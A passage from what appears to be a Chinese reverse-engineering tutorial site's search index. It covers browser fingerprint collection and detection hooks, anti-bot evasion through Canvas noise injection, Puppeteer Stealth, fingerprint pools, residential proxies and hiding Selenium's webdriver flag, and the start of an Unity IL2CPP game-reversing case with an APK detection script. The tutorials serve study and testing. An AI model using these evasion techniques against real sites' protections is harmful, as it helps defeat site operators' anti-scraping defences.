","date":"2025-03-15","objectID":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/:3:4","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","Hook"],"title":"浏览器指纹识别","uri":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/#4-插件列表"},{"categories":null,"collections":null,"content":"5. Canvas 指纹 通过 Canvas 渲染差异生成指纹（详见 Canvas 指纹技术）： function getCanvasFingerprint() { const canvas = document.createElement(\"canvas\"); const ctx = canvas.getContext(\"2d\"); ctx.textBaseline = \"top\"; ctx.font = \"14px Arial\"; ctx.fillText(\"fingerprint\", 2, 2); return canvas.toDataURL(); } ","date":"2025-03-15","objectID":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/:3:5","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","Hook"],"title":"浏览器指纹识别","uri":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/#5-canvas-指纹"},{"categories":null,"collections":null,"content":"6. WebGL 指纹 function getWebGLFingerprint() { const canvas = document.createElement(\"canvas\"); const gl = canvas.getContext(\"webgl\") || canvas.getContext(\"experimental-webgl\"); const debugInfo = gl.getExtension(\"WEBGL_debug_renderer_info\"); const vendor = gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL); const renderer = gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL); return { vendor, renderer }; } ","date":"2025-03-15","objectID":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/:3:6","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","Hook"],"title":"浏览器指纹识别","uri":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/#6-webgl-指纹"},{"categories":null,"collections":null,"content":"7. 音频指纹 (AudioContext) function getAudioFingerprint() { const audioContext = new (window.AudioContext || window.webkitAudioContext)(); const oscillator = audioContext.createOscillator(); const analyser = audioContext.createAnalyser(); const gainNode = audioContext.createGain(); const scriptProcessor = audioContext.createScriptProcessor(4096, 1, 1); // 通过音频处理的细微差异生成指纹 // ... 复杂的音频处理逻辑 } ","date":"2025-03-15","objectID":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/:3:7","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","Hook"],"title":"浏览器指纹识别","uri":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/#7-音频指纹-audiocontext"},{"categories":null,"collections":null,"content":"8. 字体检测 function detectFonts() { const baseFonts = [\"monospace\", \"sans-serif\", \"serif\"]; const testFonts = [ \"Arial\", \"Verdana\", \"Times New Roman\", \"Courier\", \"Comic Sans MS\", ]; const detectedFonts = []; testFonts.forEach((font) =\u003e { // 通过测量文本宽度的变化来检测字体是否存在 // ... 实现逻辑 }); return detectedFonts; } ","date":"2025-03-15","objectID":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/:3:8","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","Hook"],"title":"浏览器指纹识别","uri":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/#8-字体检测"},{"categories":null,"collections":null,"content":"9. 硬件信息 const hardwareInfo = { cpuCores: navigator.hardwareConcurrency, // CPU 核心数 deviceMemory: navigator.deviceMemory, // 设备内存（GB） platform: navigator.platform, // \"Win32\", \"MacIntel\" vendor: navigator.vendor, // \"Google Inc.\" }; ","date":"2025-03-15","objectID":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/:3:9","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","Hook"],"title":"浏览器指纹识别","uri":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/#9-硬件信息"},{"categories":null,"collections":null,"content":"指纹库使用 ","date":"2025-03-15","objectID":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/:4:0","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","Hook"],"title":"浏览器指纹识别","uri":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/#指纹库使用"},{"categories":null,"collections":null,"content":"FingerprintJS 最流行的开源指纹库： // 安装：npm install @fingerprintjs/fingerprintjs import FingerprintJS from \"@fingerprintjs/fingerprintjs\"; // 初始化 const fpPromise = FingerprintJS.load(); // 获取指纹 fpPromise .then((fp) =\u003e fp.get()) .then((result) =\u003e { console.log(\"Visitor ID:\", result.visitorId); console.log(\"Components:\", result.components); }); 特点: 准确率高（99.5%） 持久性强 开源免费 ","date":"2025-03-15","objectID":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/:4:1","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","Hook"],"title":"浏览器指纹识别","uri":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/#fingerprintjs"},{"categories":null,"collections":null,"content":"检测指纹采集 ","date":"2025-03-15","objectID":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/:5:0","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","Hook"],"title":"浏览器指纹识别","uri":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/#检测指纹采集"},{"categories":null,"collections":null,"content":"方法一：监控 API 调用 // Hook Canvas API const originalToDataURL = HTMLCanvasElement.prototype.toDataURL; HTMLCanvasElement.prototype.toDataURL = function () { console.log(\"[Fingerprint] Canvas fingerprinting detected!\"); console.trace(); return originalToDataURL.apply(this, arguments); }; // Hook WebGL const originalGetParameter = WebGLRenderingContext.prototype.getParameter; WebGLRenderingContext.prototype.getParameter = function (param) { console.log(\"[Fingerprint] WebGL fingerprinting detected!\", param); return originalGetParameter.apply(this, arguments); }; ","date":"2025-03-15","objectID":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/:5:1","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","Hook"],"title":"浏览器指纹识别","uri":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/#方法一监控-api-调用"},{"categories":null,"collections":null,"content":"方法二：检查第三方脚本 在 DevTools -\u003e Sources 中搜索关键词： fingerprint FingerprintJS canvas.toDataURL WEBGL_debug_renderer_info ","date":"2025-03-15","objectID":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/:5:2","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","Hook"],"title":"浏览器指纹识别","uri":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/#方法二检查第三方脚本"},{"categories":null,"collections":null,"content":"反指纹技术 ","date":"2025-03-15","objectID":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/:6:0","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","Hook"],"title":"浏览器指纹识别","uri":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/#反指纹技术"},{"categories":null,"collections":null,"content":"1. 使用浏览器插件 推荐插件: Canvas Blocker (Firefox/Chrome): 阻止 Canvas 指纹 Privacy Badger: 阻止追踪器 uBlock Origin: 阻止广告和追踪 ","date":"2025-03-15","objectID":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/:6:1","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","Hook"],"title":"浏览器指纹识别","uri":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/#1-使用浏览器插件"},{"categories":null,"collections":null,"content":"2. 修改 User-Agent // Puppeteer await page.setUserAgent(\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) ...\"); // Selenium options.add_argument(\"user-agent=Mozilla/5.0...\"); ","date":"2025-03-15","objectID":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/:6:2","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","Hook"],"title":"浏览器指纹识别","uri":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/#2-修改-user-agent"},{"categories":null,"collections":null,"content":"3. 伪造 Canvas/WebGL // 注入噪点到 Canvas const originalToDataURL = HTMLCanvasElement.prototype.toDataURL; HTMLCanvasElement.prototype.toDataURL = function () { // 添加随机噪点 const ctx = this.getContext(\"2d\"); const imageData = ctx.getImageData(0, 0, this.width, this.height); for (let i = 0; i \u003c imageData.data.length; i += 4) { if (Math.random() \u003c 0.001) { imageData.data[i] = Math.floor(Math.random() * 256); } } ctx.putImageData(imageData, 0, 0); return originalToDataURL.apply(this, arguments); }; ","date":"2025-03-15","objectID":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/:6:3","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","Hook"],"title":"浏览器指纹识别","uri":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/#3-伪造-canvaswebgl"},{"categories":null,"collections":null,"content":"4. 使用指纹伪造库 Puppeteer Stealth Plugin: const puppeteer = require(\"puppeteer-extra\"); const StealthPlugin = require(\"puppeteer-extra-plugin-stealth\"); puppeteer.use(StealthPlugin()); const browser = await puppeteer.launch(); ","date":"2025-03-15","objectID":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/:6:4","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","Hook"],"title":"浏览器指纹识别","uri":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/#4-使用指纹伪造库"},{"categories":null,"collections":null,"content":"5. 统一环境特征 确保所有请求使用相同的： User-Agent Screen 分辨率 时区和语言 Canvas/WebGL 输出 ","date":"2025-03-15","objectID":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/:6:5","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","Hook"],"title":"浏览器指纹识别","uri":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/#5-统一环境特征"},{"categories":null,"collections":null,"content":"绕过策略 ","date":"2025-03-15","objectID":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/:7:0","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","Hook"],"title":"浏览器指纹识别","uri":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/#绕过策略"},{"categories":null,"collections":null,"content":"策略一：使用真实浏览器 Puppeteer/Playwright 控制真实浏览器，天然具有完整指纹。 ","date":"2025-03-15","objectID":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/:7:1","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","Hook"],"title":"浏览器指纹识别","uri":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/#策略一使用真实浏览器"},{"categories":null,"collections":null,"content":"策略二：指纹池 维护多个不同的指纹配置，轮换使用： FINGERPRINT_POOL = [ { 'user_agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0', 'screen': {'width': 1920, 'height': 1080}, 'timezone': 'America/New_York', 'language': 'en-US' }, { 'user_agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) ...', 'screen': {'width': 1440, 'height': 900}, 'timezone': 'America/Los_Angeles', 'language': 'en-US' } ] # 随机选择一个指纹 fingerprint = random.choice(FINGERPRINT_POOL) ","date":"2025-03-15","objectID":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/:7:2","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","Hook"],"title":"浏览器指纹识别","uri":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/#策略二指纹池"},{"categories":null,"collections":null,"content":"策略三：住宅代理 高质量住宅代理通常自带真实用户的完整指纹。 ","date":"2025-03-15","objectID":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/:7:3","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","Hook"],"title":"浏览器指纹识别","uri":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/#策略三住宅代理"},{"categories":null,"collections":null,"content":"测试工具 ","date":"2025-03-15","objectID":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/:8:0","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","Hook"],"title":"浏览器指纹识别","uri":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/#测试工具"},{"categories":null,"collections":null,"content":"在线测试 AmIUnique - 指纹唯一性测试 BrowserLeaks - 全面的浏览器信息泄露检测 Cover Your Tracks - EFF 的隐私测试 Fingerprint.com Demo - FingerprintJS 演示 ","date":"2025-03-15","objectID":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/:8:1","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","Hook"],"title":"浏览器指纹识别","uri":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/#在线测试"},{"categories":null,"collections":null,"content":"命令行测试 # 使用 curl 测试 TLS 指纹 curl --user-agent \"Mozilla/5.0...\" https://tls.peet.ws/api/clean ","date":"2025-03-15","objectID":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/:8:2","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","Hook"],"title":"浏览器指纹识别","uri":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/#命令行测试"},{"categories":null,"collections":null,"content":"实战案例 ","date":"2025-03-15","objectID":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/:9:0","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","Hook"],"title":"浏览器指纹识别","uri":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/#实战案例"},{"categories":null,"collections":null,"content":"案例：某社交网站检测 现象: Python requests 访问返回空数据，浏览器正常。 分析步骤: 对比请求头 - 已伪造，仍失败 检查 Cookie - 已携带，仍失败 怀疑指纹检测 解决方案: from selenium import webdriver from selenium.webdriver.chrome.options import Options options = Options() options.add_argument('--disable-blink-features=AutomationControlled') options.add_experimental_option('excludeSwitches', ['enable-automation']) options.add_experimental_option('useAutomationExtension', False) driver = webdriver.Chrome(options=options) # 修改 navigator.webdriver driver.execute_cdp_cmd('Page.addScriptToEvaluateOnNewDocument', { 'source': ''' Object.defineProperty(navigator, 'webdriver', { get: () =\u003e undefined }) ''' }) driver.get('https://target.com') ","date":"2025-03-15","objectID":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/:9:1","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","Hook"],"title":"浏览器指纹识别","uri":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/#案例某社交网站检测"},{"categories":null,"collections":null,"content":"总结 浏览器指纹是现代反爬虫的核心技术之一。对抗策略： 使用真实浏览器（Puppeteer/Selenium） 安装反指纹插件 伪造指纹信息 使用指纹池轮换 采用住宅代理 ","date":"2025-03-15","objectID":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/:10:0","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","Hook"],"title":"浏览器指纹识别","uri":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/#总结"},{"categories":null,"collections":null,"content":"相关章节 Canvas 指纹技术 TLS 指纹识别 反爬虫技术深度分析 ","date":"2025-03-15","objectID":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/:11:0","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","Hook"],"title":"浏览器指纹识别","uri":"/reverse_engineering/web/04-advanced-recipes/browser_fingerprinting/#相关章节"},{"categories":null,"collections":null,"content":"Unity 游戏逆向 (Il2Cpp) 案例 📚 前置知识 本案例涉及以下核心技术，建议先阅读相关章节： SO/ELF 格式 - 理解 libil2cpp.so 的结构 Frida Native Hook - 对 Il2Cpp 函数进行运行时修改 反分析技术案例 - 理解反调试与完整性校验 Unity 是目前最流行的移动游戏引擎之一。现代 Unity 游戏通常使用 Il2Cpp 脚本后端，将 C# 代码转换为 C++ 代码并编译为 Native 库 (libil2cpp.so)。这使得传统的 Java/Smali 逆向方法失效，需要全新的工具和思路。 ","date":"2025-03-12","objectID":"/reverse_engineering/android/03-case-studies/case_unity_games/:0:0","tags":["Native层","Ghidra","Frida","案例分析","Unity游戏","Hook","IL2CPP","Mono","GameGuardian"],"title":"Unity 游戏逆向 (Il2Cpp) 案例","uri":"/reverse_engineering/android/03-case-studies/case_unity_games/#unity-游戏逆向-il2cpp-案例"},{"categories":null,"collections":null,"content":"1. Unity 游戏架构 ","date":"2025-03-12","objectID":"/reverse_engineering/android/03-case-studies/case_unity_games/:1:0","tags":["Native层","Ghidra","Frida","案例分析","Unity游戏","Hook","IL2CPP","Mono","GameGuardian"],"title":"Unity 游戏逆向 (Il2Cpp) 案例","uri":"/reverse_engineering/android/03-case-studies/case_unity_games/#1-unity-游戏架构"},{"categories":null,"collections":null,"content":"1.1 Mono vs IL2CPP Unity 提供两种脚本后端（Scripting Backend），它们决定了 C# 代码最终以何种形式运行在设备上： ┌─────────────────────────────────────────────────────────────────────┐ │ Unity 脚本后端对比 │ ├─────────────────────────────────────────────────────────────────────┤ │ │ │ C# 源代码 (.cs) │ │ │ │ │ ├──────────────────────┬──────────────────────┐ │ │ ▼ ▼ │ │ │ ┌─────────┐ ┌──────────┐ │ │ │ │ Mono │ │ IL2CPP │ │ │ │ │ 后端 │ │ 后端 │ │ │ │ └────┬────┘ └─────┬────┘ │ │ │ │ │ │ │ │ ▼ ▼ │ │ │ C# --\u003e IL (.dll) C# --\u003e IL --\u003e C++ --\u003e .so │ │ │ │ │ │ │ │ ▼ ▼ │ │ │ Mono VM 解释执行 Native 机器码直接执行 │ │ │ │ │ │ │ │ ▼ ▼ │ │ │ Assembly-CSharp.dll libil2cpp.so │ │ │ (可直接反编译) + global-metadata.dat │ │ │ (需要 Dump 还原符号) │ │ │ │ │ └─────────────────────────────────────────────────────────────────────┘ 特性 Mono 后端 IL2CPP 后端 代码形式 .NET DLL (IL 字节码) Native SO (机器码) 运行方式 Mono VM 解释/JIT CPU 直接执行 逆向难度 低 (dnSpy 直接反编译) 高 (需要 IDA/Ghidra) 性能 较低 较高 包体大小 较小 较大 保护强度 极弱 较强 符号信息 完整保留在 DLL 中 存储在 global-metadata.dat 目前占比 少数老游戏 绝大多数新游戏 关键结论: 2020 年之后发布的 Unity 游戏几乎都使用 IL2CPP 后端。Google Play 从 2019 年起要求提供 64 位支持，而 Mono 后端在当时对 ARM64 的支持不佳，这加速了向 IL2CPP 的迁移。 ","date":"2025-03-12","objectID":"/reverse_engineering/android/03-case-studies/case_unity_games/:1:1","tags":["Native层","Ghidra","Frida","案例分析","Unity游戏","Hook","IL2CPP","Mono","GameGuardian"],"title":"Unity 游戏逆向 (Il2Cpp) 案例","uri":"/reverse_engineering/android/03-case-studies/case_unity_games/#11-mono-vs-il2cpp"},{"categories":null,"collections":null,"content":"1.2 IL2CPP 编译流程 ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ │ C# 源代码 │────\u003e│ IL 字节码 │────\u003e│ C++ 源代码 │ │ (.cs 文件) │ │ (.dll 文件) │ │ (.cpp 文件) │ └──────────────┘ └──────────────┘ └──────┬───────┘ Roslyn 编译器 │ il2cpp.exe 转换 ▼ ┌──────────────┐ ┌──────────────────┐ ┌──────────────┐ │ 最终 APK/AAB │\u003c───│ libil2cpp.so │\u003c─│ .o 目标文件 │ │ │ │ (stripped, 无符号) │ │ │ │ │ ├──────────────────┤ └──────────────┘ │ │ │ global-metadata │ NDK 编译 │ │ │ .dat (元数据) │ │ │ └──────────────────┘ └──────────────┘ ","date":"2025-03-12","objectID":"/reverse_engineering/android/03-case-studies/case_unity_games/:1:2","tags":["Native层","Ghidra","Frida","案例分析","Unity游戏","Hook","IL2CPP","Mono","GameGuardian"],"title":"Unity 游戏逆向 (Il2Cpp) 案例","uri":"/reverse_engineering/android/03-case-studies/case_unity_games/#12-il2cpp-编译流程"},{"categories":null,"collections":null,"content":"1.3 核心文件与程序集结构 一个典型的 Unity IL2CPP 游戏 APK 解压后，关键文件如下： game.apk (解压后) ├── lib/ │ ├── armeabi-v7a/ # 32 位 ARM │ │ ├── libil2cpp.so # ★ 核心游戏逻辑 (50-200MB) │ │ ├── libmain.so # Unity 启动入口 │ │ └── libunity.so # Unity 引擎运行时 │ └── arm64-v8a/ # 64 位 ARM │ ├── libil2cpp.so # ★ 优先分析这个 │ ├── libmain.so │ └── libunity.so ├── assets/ │ └── bin/ │ └── Data/ │ ├── Managed/ │ │ ├── Metadata/ │ │ │ └── global-metadata.dat # ★ 元数据 (5-30MB) │ │ └── Resources/ │ ├── data.unity3d # 资源包 │ ├── level0 # 场景文件 │ ├── sharedassets0.assets # 共享资源 │ └── boot.config # 启动配置 ├── classes.dex # Java 层 (通常很薄) ├── AndroidManifest.xml └── META-INF/ libil2cpp.so 内部包含了多个程序集的代码： 程序集名称 内容说明 Assembly-CSharp 开发者编写的核心游戏逻辑 Assembly-CSharp-firstpass 第三方插件、早期初始化代码 UnityEngine Unity 引擎 API UnityEngine.UI UI 系统 mscorlib .NET 基础类库 System 系统库 Newtonsoft.Json JSON 序列化（如果使用） Google.Protobuf Protobuf 通信（如果使用） 逆向时主要关注 Assembly-CSharp，这里面包含了游戏的业务逻辑。 ","date":"2025-03-12","objectID":"/reverse_engineering/android/03-case-studies/case_unity_games/:1:3","tags":["Native层","Ghidra","Frida","案例分析","Unity游戏","Hook","IL2CPP","Mono","GameGuardian"],"title":"Unity 游戏逆向 (Il2Cpp) 案例","uri":"/reverse_engineering/android/03-case-studies/case_unity_games/#13-核心文件与程序集结构"},{"categories":null,"collections":null,"content":"2. Unity App 识别 ","date":"2025-03-12","objectID":"/reverse_engineering/android/03-case-studies/case_unity_games/:2:0","tags":["Native层","Ghidra","Frida","案例分析","Unity游戏","Hook","IL2CPP","Mono","GameGuardian"],"title":"Unity 游戏逆向 (Il2Cpp) 案例","uri":"/reverse_engineering/android/03-case-studies/case_unity_games/#2-unity-app-识别"},{"categories":null,"collections":null,"content":"2.1 文件结构特征 拿到一个 APK 后，如何快速判断它是否是 Unity 游戏？ # 解压 APK unzip -o target.apk -d target_apk/ # 方法 1: 检查 SO 库 ls target_apk/lib/arm64-v8a/ # Unity 特征: 同时存在 libil2cpp.so, libunity.so, libmain.so # 方法 2: 检查 metadata ls target_apk/assets/bin/Data/Managed/Metadata/ # 存在 global-metadata.dat # 方法 3: 检查启动配置 cat target_apk/assets/bin/Data/boot.config # 内容类似: # scripting-backend=il2cpp # player-connection-mode=Listen ","date":"2025-03-12","objectID":"/reverse_engineering/android/03-case-studies/case_unity_games/:2:1","tags":["Native层","Ghidra","Frida","案例分析","Unity游戏","Hook","IL2CPP","Mono","GameGuardian"],"title":"Unity 游戏逆向 (Il2Cpp) 案例","uri":"/reverse_engineering/android/03-case-studies/case_unity_games/#21-文件结构特征"},{"categories":null,"collections":null,"content":"2.2 快速识别脚本 #!/bin/bash # unity_detect.sh - 快速识别 Unity 游戏类型 APK=$1 TMPDIR=$(mktemp -d) unzip -q \"$APK\" -d \"$TMPDIR\" 2\u003e/dev/null echo \"=== Unity 游戏检测 ===\" # 检测 Unity 引擎 if [ -f \"$TMPDIR/lib/arm64-v8a/libunity.so\" ] || \\ [ -f \"$TMPDIR/lib/armeabi-v7a/libunity.so\" ]; then echo \"[+] 检测到 Unity 引擎\" # 判断后端类型 if [ -f \"$TMPDIR/lib/arm64-v8a/libil2cpp.so\" ]; then echo \"[+] 脚本后端: IL2CPP (64-bit)\" SO_SIZE=$(stat -f%z \"$TMPDIR/lib/arm64-v8a/libil2cpp.so\" 2\u003e/dev/null || \\ stat -c%s \"$TMPDIR/lib/arm64-v8a/libil2cpp.so\" 2\u003e/dev/null) echo \" libil2cpp.so 大小: $(echo \"scale=2; $SO_SIZE/1048576\" | bc) MB\" elif [ -f \"$TMPDIR/lib/armeabi-v7a/libil2cpp.so\" ]; then echo \"[+] 脚本后端: IL2CPP (32-bit only)\" fi if [ -d \"$TMPDIR/assets/bin/Data/Managed\" ]; then DLL_COUNT=$(find \"$TMPDIR/assets/bin/Data/Managed\" -name \"*.dll\" 2\u003e/dev/null | wc -l) if [ \"$DLL_COUNT\" -gt 0 ]; then echo \"[+] 脚本后端: Mono (找到 $DLL_COUNT 个 DLL)\" fi fi # 检测 metadata if [ -f \"$TMPDIR/assets/bin/Data/Managed/Metadata/global-metadata.dat\" ]; then META_SIZE=$(stat -f%z \"$TMPDIR/assets/bin/Data/Managed/Metadata/global-metadata.dat\" \\ 2\u003e/dev/null || stat -c%s \\ \"$TMPDIR/assets/bin/Data/Managed/Metadata/global-metadata.dat\" 2\u003e/dev/null) echo \"[+] global-metadata.dat 大小: $(echo \"scale=2; $META_SIZE/1048576\" | bc) MB\" # 检查 magic number MAGIC=$(xxd -l 4 \"$TMPDIR/assets/bin/Data/Managed/Metadata/global-metadata.dat\" | \\ awk '{print $2$3}') if [ \"$MAGIC\" = \"af1b b1fa\" ] || [ \"$MAGIC\" = \"AF1BB1FA\" ]; then echo \"[+] metadata 未加密 (magic: AF1BB1FA)\" else echo \"[!] metadata 可能已加密 (magic: $MAGIC)\" fi fi # Unity 版本 if [ -f \"$TMPDIR/assets/bin/Data/boot.config\" ]; then echo \"[+] boot.config 内容:\" cat \"$TMPDIR/assets/bin/Data/boot.config\" | sed 's/^/ /' fi else echo \"[-] 非 Unity 游戏\" fi rm -rf \"$TMPDIR\" ","date":"2025-03-12","objectID":"/reverse_engineering/android/03-case-studies/case_unity_games/:2:2","tags":["Native层","Ghidra","Frida","案例分析","Unity游戏","Hook","IL2CPP","Mono","GameGuardian"],"title":"Unity 游戏逆向 (Il2Cpp) 案例","uri":"/reverse_engineering/android/03-case-studies/case_unity_games/#22-快速识别脚本"},{"categories":null,"collections":null,"content":"2.3 特征库对照表 检测项 Unity IL2CPP Unity Mono 非 Unity libil2cpp.so 存在 不存在 不存在 libunity.so 存在 存在 不存在 libmono.so 不存在 存在 不存在 global-metadata.dat 存在 不存在 不存在 Assembly-CSharp.dll 不存在 存在 不存在 boot.config 通常存在 通常存在 不存在 level0, sharedassets*.assets 存在 存在 不存在 ","date":"2025-03-12","objectID":"/reverse_engineering/android/03-case-studies/case_unity_games/:2:3","tags":["Native层","Ghidra","Frida","案例分析","Unity游戏","Hook","IL2CPP","Mono","GameGuardian"],"title":"Unity 游戏逆向 (Il2Cpp) 案例","uri":"/reverse_engineering/android/03-case-studies/case_unity_games/#23-特征库对照表"},{"categories":null,"collections":null,"content":"3. IL2CPP 逆向基础 ","date":"2025-03-12","objectID":"/reverse_engineering/android/03-case-studies/case_unity_games/:3:0","tags":["Native层","Ghidra","Frida","案例分析","Unity游戏","Hook","IL2CPP","Mono","GameGuardian"],"title":"Unity 游戏逆向 (Il2Cpp) 案例","uri":"/reverse_engineering/android/03-case-studies/case_unity_games/#3-il2cpp-逆向基础"},{"categories":null,"collections":null,"content":"3.1 为什么需要元数据 libil2cpp.so 在编译时会被 strip（移除符号表），直接用 IDA/Ghidra 打开只能看到海量的 sub_XXXXXX： # IDA 中看到的 stripped libil2cpp.so .text:00123456 sub_123456 # 这是什么函数？不知道 .text:00123500 sub_123500 # 是 AddCoin? TakeDamage? 完全不清楚 .text:00123600 sub_123600 # 上万个无名函数... 而 global-metadata.dat 就像一本字典，记录了： 每个类的名称、命名空间、父类 每个方法的名称、参数类型、返回值类型 每个字段的名称、类型、偏移 字符串字面量 方法在 libil2cpp.so 中的 RVA（相对虚拟地址）偏移 ┌─────────────────────────────────┐ ┌─────────────────────────────┐ │ libil2cpp.so │ │ global-metadata.dat │ │ (stripped, 无符号信息) │ │ (类/方法/字段名映射) │ ├─────────────────────────────────┤ ├─────────────────────────────┤ │ │ │ │ │ sub_123456: │◄──►│ PlayerData.AddCoin() │ │ push {r4, r5, lr} │ │ offset: 0x123456 │ │ ldr r4, [r0, #0x10] │ │ params: (int amount) │ │ add r4, r4, r1 │ │ │ │ str r4, [r0, #0x10] │ │ PlayerData.coin │ │ pop {r4, r5, pc} │ │ field_offset: 0x10 │ │ │ │ type: System.Int32 │ │ sub_123500: │◄──►│ BattleManager.TakeDamage() │ │ ... │ │ offset: 0x123500 │ │ │ │ │ └─────────────────────────────────┘ └─────────────────────────────┘ ▲ ▲ │ │ └──────── Il2CppDumper 建立映射 ──────────┘ ","date":"2025-03-12","objectID":"/reverse_engineering/android/03-case-studies/case_unity_games/:3:1","tags":["Native层","Ghidra","Frida","案例分析","Unity游戏","Hook","IL2CPP","Mono","GameGuardian"],"title":"Unity 游戏逆向 (Il2Cpp) 案例","uri":"/reverse_engineering/android/03-case-studies/case_unity_games/#31-为什么需要元数据"},{"categories":null,"collections":null,"content":"3.2 IL2CPP 内部类型系统 IL2CPP 在运行时维护了一套完整的类型系统，核心数据结构如下： // Il2CppClass - 表示一个 C# 类 typedef struct Il2CppClass { Il2CppImage* image; // 所属的程序集镜像 void* gc_desc; const char* name; // 类名 (如 \"PlayerData\") const char* namespaze; // 命名空间 (如 \"Game.Logic\") Il2CppType byval_arg; Il2CppType this_arg; Il2CppClass* element_class; Il2CppClass* parent; // 父类 Il2CppGenericClass* generic_class; // ... FieldInfo* fields; // 字段数组 const MethodInfo** methods; // 方法数组 uint16_t field_count; uint16_t method_count; // ... uint32_t instance_size; // 实例大小 // ... } Il2CppClass; // MethodInfo - 表示一个 C# 方法 typedef struct MethodInfo { Il2CppMethodPointer methodPointer; // ★ 函数指针 (可用于 Hook) const char* name; // 方法名 (如 \"AddCoin\") Il2CppClass* klass; // 所属的类 const Il2CppType* return_type; // 返回类型 const ParameterInfo* parameters; // 参数信息 uint8_t parameters_count; // 参数数量 // ... } MethodInfo; ","date":"2025-03-12","objectID":"/reverse_engineering/android/03-case-studies/case_unity_games/:3:2","tags":["Native层","Ghidra","Frida","案例分析","Unity游戏","Hook","IL2CPP","Mono","GameGuardian"],"title":"Unity 游戏逆向 (Il2Cpp) 案例","uri":"/reverse_engineering/android/03-case-studies/case_unity_games/#32-il2cpp-内部类型系统"},{"categories":null,"collections":null,"content":"3.3 